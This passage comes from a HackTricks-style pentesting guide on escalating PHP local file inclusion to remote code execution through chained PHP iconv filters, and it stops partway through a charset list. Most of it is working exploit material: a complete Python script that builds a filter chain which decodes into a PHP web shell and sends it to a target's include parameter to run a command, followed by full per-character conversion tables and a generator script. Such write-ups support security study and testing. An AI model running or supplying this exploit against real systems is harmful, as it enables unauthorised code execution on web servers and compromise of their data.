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lfi2rce-via-php-filters.md (33621B)


      1 ---
      2 title: "LFI2RCE via PHP Filters"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # LFI2RCE via PHP Filters
     14 
     15 ## Intro
     16 
     17 This [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains how **PHP filters can generate arbitrary output**. This makes it possible to **generate arbitrary PHP code** for an `include` operation **without writing it to a file**.<sup>[[1]](#references)</sup>
     18 
     19 The script's goal is to **construct a Base64 string** at the **beginning** of the stream and finally decode it into the payload interpreted by `include`.
     20 
     21 The bases to do this are:
     22 
     23 - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
     24 - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter.
     25 
     26 The loop to generate arbitrary content is:
     27 
     28 1. prepend `\x1b$)C` to our string as described above
     29 2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
     30 3. base64-decode and base64-encode the string which will remove any garbage in between
     31 4. Go back to 1 if the base64 we want to construct isn't finished yet
     32 5. base64-decode to get our php code
     33 
     34 > [!WARNING]
     35 > Include wrappers often **append `.php` to the supplied path**, complicating exploitation because an existing PHP file may add content that breaks the chain. A useful alternative is **`php://temp`**, whose resource name can have arbitrary suffixes (such as `.php`) without preventing the wrapper from working.
     36 
     37 ## How to add also suffixes to the resulting data
     38 
     39 [**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how PHP filters can also add suffixes to the resulting string. This is useful when the output must follow a specific format, such as JSON, or contain PNG magic bytes.<sup>[[2]](#references)</sup>
     40 
     41 ## Automatic Tools
     42 
     43 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
     44 - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
     45 - [https://github.com/ambionics/lightyear](https://github.com/ambionics/lightyear) (blind file-dump oracle with digit-set jumps)
     46 
     47 ## Full script
     48 
     49 ```python
     50 import requests
     51 
     52 url = "http://localhost/index.php"
     53 file_to_use = "php://temp"
     54 command = "/readflag"
     55 
     56 #<?=`$_GET[0]`;;?>
     57 base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
     58 
     59 conversions = {
     60     'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
     61     'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
     62     'C': 'convert.iconv.UTF8.CSISO2022KR',
     63     '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
     64     '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
     65     'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
     66     's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
     67     'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
     68     'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
     69     'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
     70     'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
     71     '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
     72     'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
     73     'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
     74     'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
     75     'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
     76     '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
     77     '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
     78 }
     79 
     80 
     81 # generate some garbage base64
     82 filters = "convert.iconv.UTF8.CSISO2022KR|"
     83 filters += "convert.base64-encode|"
     84 # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
     85 filters += "convert.iconv.UTF8.UTF7|"
     86 
     87 
     88 for c in base64_payload[::-1]:
     89         filters += conversions[c] + "|"
     90         # decode and reencode to get rid of everything that isn't valid base64
     91         filters += "convert.base64-decode|"
     92         filters += "convert.base64-encode|"
     93         # get rid of equal signs
     94         filters += "convert.iconv.UTF8.UTF7|"
     95 
     96 filters += "convert.base64-decode"
     97 
     98 final_payload = f"php://filter/{filters}/resource={file_to_use}"
     99 
    100 r = requests.get(url, params={
    101     "0": command,
    102     "action": "include",
    103     "file": final_payload
    104 })
    105 
    106 print(r.text)
    107 ```
    108 
    109 ### Improvements
    110 
    111 The previous script is limited to the base64 characters needed for that payload. Therefore, I created my own script to **bruteforce all the base64 characters**:
    112 
    113 ```php
    114 conversions = {
    115     '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    116     '1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
    117     '2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
    118     '3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
    119     '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    120     '5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
    121     '6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
    122     '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    123     '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    124     '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    125     'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
    126     'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
    127     'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
    128     'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    129     'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
    130     'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    131     'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
    132     'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
    133     'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
    134     'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
    135     'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
    136     'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
    137     'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
    138     'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
    139     'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
    140     'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
    141     'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
    142     'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
    143     's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    144     't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
    145     'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
    146     'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
    147     'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
    148     'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
    149     'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
    150     'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    151     'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
    152     'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    153     'C': 'convert.iconv.UTF8.CSISO2022KR',
    154     'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    155     'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
    156     'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
    157     'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
    158     'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
    159     'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
    160     'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
    161     'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
    162     'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
    163     'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
    164     'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
    165     'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
    166     'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    167     'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
    168     'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    169     'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
    170     'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
    171     'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    172     'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    173     'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    174     'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
    175     'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    176     'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
    177     '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
    178     '=': ''
    179 }
    180 ```
    181 
    182 Here is the **script** to get encodings that generate each b64 letter:
    183 
    184 ```php
    185 <?php
    186 
    187 $convs = array('437', '500', '500V1', '850', '851', '852', '855', '856', '857', '858', '860', '861', '862', '863', '864', '865', '866', '866NAV', '869', '874', '904', '1026', '1046', '1047', '8859_1', '8859_2', '8859_3', '8859_4', '8859_5', '8859_6', '8859_7', '8859_8', '8859_9', '10646-1:1993', '10646-1:1993/UCS4', 'ANSI_X3.4-1968', 'ANSI_X3.4-1986', 'ANSI_X3.4', 'ANSI_X3.110-1983', 'ANSI_X3.110', 'ARABIC', 'ARABIC7', 'ARMSCII-8', 'ARMSCII8', 'ASCII', 'ASMO-708', 'ASMO_449', 'BALTIC', 'BIG-5', 'BIG-FIVE', 'BIG5-HKSCS', 'BIG5', 'BIG5HKSCS', 'BIGFIVE', 'BRF', 'BS_4730', 'CA', 'CN-BIG5', 'CN-GB', 'CN', 'CP-AR', 'CP-GR', 'CP-HU', 'CP037', 'CP038', 'CP273', 'CP274', 'CP275', 'CP278', 'CP280', 'CP281', 'CP282', 'CP284', 'CP285', 'CP290', 'CP297', 'CP367', 'CP420', 'CP423', 'CP424', 'CP437', 'CP500', 'CP737', 'CP770', 'CP771', 'CP772', 'CP773', 'CP774', 'CP775', 'CP803', 'CP813', 'CP819', 'CP850', 'CP851', 'CP852', 'CP855', 'CP856', 'CP857', 'CP858', 'CP860', 'CP861', 'CP862', 'CP863', 'CP864', 'CP865', 'CP866', 'CP866NAV', 'CP868', 'CP869', 'CP870', 'CP871', 'CP874', 'CP875', 'CP880', 'CP891', 'CP901', 'CP902', 'CP903', 'CP904', 'CP905', 'CP912', 'CP915', 'CP916', 'CP918', 'CP920', 'CP921', 'CP922', 'CP930', 'CP932', 'CP933', 'CP935', 'CP936', 'CP937', 'CP939', 'CP949', 'CP950', 'CP1004', 'CP1008', 'CP1025', 'CP1026', 'CP1046', 'CP1047', 'CP1070', 'CP1079', 'CP1081', 'CP1084', 'CP1089', 'CP1097', 'CP1112', 'CP1122', 'CP1123', 'CP1124', 'CP1125', 'CP1129', 'CP1130', 'CP1132', 'CP1133', 'CP1137', 'CP1140', 'CP1141', 'CP1142', 'CP1143', 'CP1144', 'CP1145', 'CP1146', 'CP1147', 'CP1148', 'CP1149', 'CP1153', 'CP1154', 'CP1155', 'CP1156', 'CP1157', 'CP1158', 'CP1160', 'CP1161', 'CP1162', 'CP1163', 'CP1164', 'CP1166', 'CP1167', 'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254', 'CP1255', 'CP1256', 'CP1257', 'CP1258', 'CP1282', 'CP1361', 'CP1364', 'CP1371', 'CP1388', 'CP1390', 'CP1399', 'CP4517', 'CP4899', 'CP4909', 'CP4971', 'CP5347', 'CP9030', 'CP9066', 'CP9448', 'CP10007', 'CP12712', 'CP16804', 'CPIBM861', 'CSA7-1', 'CSA7-2', 'CSASCII', 'CSA_T500-1983', 'CSA_T500', 'CSA_Z243.4-1985-1', 'CSA_Z243.4-1985-2', 'CSA_Z243.419851', 'CSA_Z243.419852', 'CSDECMCS', 'CSEBCDICATDE', 'CSEBCDICATDEA', 'CSEBCDICCAFR', 'CSEBCDICDKNO', 'CSEBCDICDKNOA', 'CSEBCDICES', 'CSEBCDICESA', 'CSEBCDICESS', 'CSEBCDICFISE', 'CSEBCDICFISEA', 'CSEBCDICFR', 'CSEBCDICIT', 'CSEBCDICPT', 'CSEBCDICUK', 'CSEBCDICUS', 'CSEUCKR', 'CSEUCPKDFMTJAPANESE', 'CSGB2312', 'CSHPROMAN8', 'CSIBM037', 'CSIBM038', 'CSIBM273', 'CSIBM274', 'CSIBM275', 'CSIBM277', 'CSIBM278', 'CSIBM280', 'CSIBM281', 'CSIBM284', 'CSIBM285', 'CSIBM290', 'CSIBM297', 'CSIBM420', 'CSIBM423', 'CSIBM424', 'CSIBM500', 'CSIBM803', 'CSIBM851', 'CSIBM855', 'CSIBM856', 'CSIBM857', 'CSIBM860', 'CSIBM863', 'CSIBM864', 'CSIBM865', 'CSIBM866', 'CSIBM868', 'CSIBM869', 'CSIBM870', 'CSIBM871', 'CSIBM880', 'CSIBM891', 'CSIBM901', 'CSIBM902', 'CSIBM903', 'CSIBM904', 'CSIBM905', 'CSIBM918', 'CSIBM921', 'CSIBM922', 'CSIBM930', 'CSIBM932', 'CSIBM933', 'CSIBM935', 'CSIBM937', 'CSIBM939', 'CSIBM943', 'CSIBM1008', 'CSIBM1025', 'CSIBM1026', 'CSIBM1097', 'CSIBM1112', 'CSIBM1122', 'CSIBM1123', 'CSIBM1124', 'CSIBM1129', 'CSIBM1130', 'CSIBM1132', 'CSIBM1133', 'CSIBM1137', 'CSIBM1140', 'CSIBM1141', 'CSIBM1142', 'CSIBM1143', 'CSIBM1144', 'CSIBM1145', 'CSIBM1146', 'CSIBM1147', 'CSIBM1148', 'CSIBM1149', 'CSIBM1153', 'CSIBM1154', 'CSIBM1155', 'CSIBM1156', 'CSIBM1157', 'CSIBM1158', 'CSIBM1160', 'CSIBM1161', 'CSIBM1163', 'CSIBM1164', 'CSIBM1166', 'CSIBM1167', 'CSIBM1364', 'CSIBM1371', 'CSIBM1388', 'CSIBM1390', 'CSIBM1399', 'CSIBM4517', 'CSIBM4899', 'CSIBM4909', 'CSIBM4971', 'CSIBM5347', 'CSIBM9030', 'CSIBM9066', 'CSIBM9448', 'CSIBM12712', 'CSIBM16804', 'CSIBM11621162', 'CSISO4UNITEDKINGDOM', 'CSISO10SWEDISH', 'CSISO11SWEDISHFORNAMES', 'CSISO14JISC6220RO', 'CSISO15ITALIAN', 'CSISO16PORTUGESE', 'CSISO17SPANISH', 'CSISO18GREEK7OLD', 'CSISO19LATINGREEK', 'CSISO21GERMAN', 'CSISO25FRENCH', 'CSISO27LATINGREEK1', 'CSISO49INIS', 'CSISO50INIS8', 'CSISO51INISCYRILLIC', 'CSISO58GB1988', 'CSISO60DANISHNORWEGIAN', 'CSISO60NORWEGIAN1', 'CSISO61NORWEGIAN2', 'CSISO69FRENCH', 'CSISO84PORTUGUESE2', 'CSISO85SPANISH2', 'CSISO86HUNGARIAN', 'CSISO88GREEK7', 'CSISO89ASMO449', 'CSISO90', 'CSISO92JISC62991984B', 'CSISO99NAPLPS', 'CSISO103T618BIT', 'CSISO111ECMACYRILLIC', 'CSISO121CANADIAN1', 'CSISO122CANADIAN2', 'CSISO139CSN369103', 'CSISO141JUSIB1002', 'CSISO143IECP271', 'CSISO150', 'CSISO150GREEKCCITT', 'CSISO151CUBA', 'CSISO153GOST1976874', 'CSISO646DANISH', 'CSISO2022CN', 'CSISO2022JP', 'CSISO2022JP2', 'CSISO2022KR', 'CSISO2033', 'CSISO5427CYRILLIC', 'CSISO5427CYRILLIC1981', 'CSISO5428GREEK', 'CSISO10367BOX', 'CSISOLATIN1', 'CSISOLATIN2', 'CSISOLATIN3', 'CSISOLATIN4', 'CSISOLATIN5', 'CSISOLATIN6', 'CSISOLATINARABIC', 'CSISOLATINCYRILLIC', 'CSISOLATINGREEK', 'CSISOLATINHEBREW', 'CSKOI8R', 'CSKSC5636', 'CSMACINTOSH', 'CSNATSDANO', 'CSNATSSEFI', 'CSN_369103', 'CSPC8CODEPAGE437', 'CSPC775BALTIC', 'CSPC850MULTILINGUAL', 'CSPC858MULTILINGUAL', 'CSPC862LATINHEBREW', 'CSPCP852', 'CSSHIFTJIS', 'CSUCS4', 'CSUNICODE', 'CSWINDOWS31J', 'CUBA', 'CWI-2', 'CWI', 'CYRILLIC', 'DE', 'DEC-MCS', 'DEC', 'DECMCS', 'DIN_66003', 'DK', 'DS2089', 'DS_2089', 'E13B', 'EBCDIC-AT-DE-A', 'EBCDIC-AT-DE', 'EBCDIC-BE', 'EBCDIC-BR', 'EBCDIC-CA-FR', 'EBCDIC-CP-AR1', 'EBCDIC-CP-AR2', 'EBCDIC-CP-BE', 'EBCDIC-CP-CA', 'EBCDIC-CP-CH', 'EBCDIC-CP-DK', 'EBCDIC-CP-ES', 'EBCDIC-CP-FI', 'EBCDIC-CP-FR', 'EBCDIC-CP-GB', 'EBCDIC-CP-GR', 'EBCDIC-CP-HE', 'EBCDIC-CP-IS', 'EBCDIC-CP-IT', 'EBCDIC-CP-NL', 'EBCDIC-CP-NO', 'EBCDIC-CP-ROECE', 'EBCDIC-CP-SE', 'EBCDIC-CP-TR', 'EBCDIC-CP-US', 'EBCDIC-CP-WT', 'EBCDIC-CP-YU', 'EBCDIC-CYRILLIC', 'EBCDIC-DK-NO-A', 'EBCDIC-DK-NO', 'EBCDIC-ES-A', 'EBCDIC-ES-S', 'EBCDIC-ES', 'EBCDIC-FI-SE-A', 'EBCDIC-FI-SE', 'EBCDIC-FR', 'EBCDIC-GREEK', 'EBCDIC-INT', 'EBCDIC-INT1', 'EBCDIC-IS-FRISS', 'EBCDIC-IT', 'EBCDIC-JP-E', 'EBCDIC-JP-KANA', 'EBCDIC-PT', 'EBCDIC-UK', 'EBCDIC-US', 'EBCDICATDE', 'EBCDICATDEA', 'EBCDICCAFR', 'EBCDICDKNO', 'EBCDICDKNOA', 'EBCDICES', 'EBCDICESA', 'EBCDICESS', 'EBCDICFISE', 'EBCDICFISEA', 'EBCDICFR', 'EBCDICISFRISS', 'EBCDICIT', 'EBCDICPT', 'EBCDICUK', 'EBCDICUS', 'ECMA-114', 'ECMA-118', 'ECMA-128', 'ECMA-CYRILLIC', 'ECMACYRILLIC', 'ELOT_928', 'ES', 'ES2', 'EUC-CN', 'EUC-JISX0213', 'EUC-JP-MS', 'EUC-JP', 'EUC-KR', 'EUC-TW', 'EUCCN', 'EUCJP-MS', 'EUCJP-OPEN', 'EUCJP-WIN', 'EUCJP', 'EUCKR', 'EUCTW', 'FI', 'FR', 'GB', 'GB2312', 'GB13000', 'GB18030', 'GBK', 'GB_1988-80', 'GB_198880', 'GEORGIAN-ACADEMY', 'GEORGIAN-PS', 'GOST_19768-74', 'GOST_19768', 'GOST_1976874', 'GREEK-CCITT', 'GREEK', 'GREEK7-OLD', 'GREEK7', 'GREEK7OLD', 'GREEK8', 'GREEKCCITT', 'HEBREW', 'HP-GREEK8', 'HP-ROMAN8', 'HP-ROMAN9', 'HP-THAI8', 'HP-TURKISH8', 'HPGREEK8', 'HPROMAN8', 'HPROMAN9', 'HPTHAI8', 'HPTURKISH8', 'HU', 'IBM-803', 'IBM-856', 'IBM-901', 'IBM-902', 'IBM-921', 'IBM-922', 'IBM-930', 'IBM-932', 'IBM-933', 'IBM-935', 'IBM-937', 'IBM-939', 'IBM-943', 'IBM-1008', 'IBM-1025', 'IBM-1046', 'IBM-1047', 'IBM-1097', 'IBM-1112', 'IBM-1122', 'IBM-1123', 'IBM-1124', 'IBM-1129', 'IBM-1130', 'IBM-1132', 'IBM-1133', 'IBM-1137', 'IBM-1140', 'IBM-1141', 'IBM-1142', 'IBM-1143', 'IBM-1144', 'IBM-1145', 'IBM-1146', 'IBM-1147', 'IBM-1148', 'IBM-1149', 'IBM-1153', 'IBM-1154', 'IBM-1155', 'IBM-1156', 'IBM-1157', 'IBM-1158', 'IBM-1160', 'IBM-1161', 'IBM-1162', 'IBM-1163', 'IBM-1164', 'IBM-1166', 'IBM-1167', 'IBM-1364', 'IBM-1371', 'IBM-1388', 'IBM-1390', 'IBM-1399', 'IBM-4517', 'IBM-4899', 'IBM-4909', 'IBM-4971', 'IBM-5347', 'IBM-9030', 'IBM-9066', 'IBM-9448', 'IBM-12712', 'IBM-16804', 'IBM037', 'IBM038', 'IBM256', 'IBM273', 'IBM274', 'IBM275', 'IBM277', 'IBM278', 'IBM280', 'IBM281', 'IBM284', 'IBM285', 'IBM290', 'IBM297', 'IBM367', 'IBM420', 'IBM423', 'IBM424', 'IBM437', 'IBM500', 'IBM775', 'IBM803', 'IBM813', 'IBM819', 'IBM848', 'IBM850', 'IBM851', 'IBM852', 'IBM855', 'IBM856', 'IBM857', 'IBM858', 'IBM860', 'IBM861', 'IBM862', 'IBM863', 'IBM864', 'IBM865', 'IBM866', 'IBM866NAV', 'IBM868', 'IBM869', 'IBM870', 'IBM871', 'IBM874', 'IBM875', 'IBM880', 'IBM891', 'IBM901', 'IBM902', 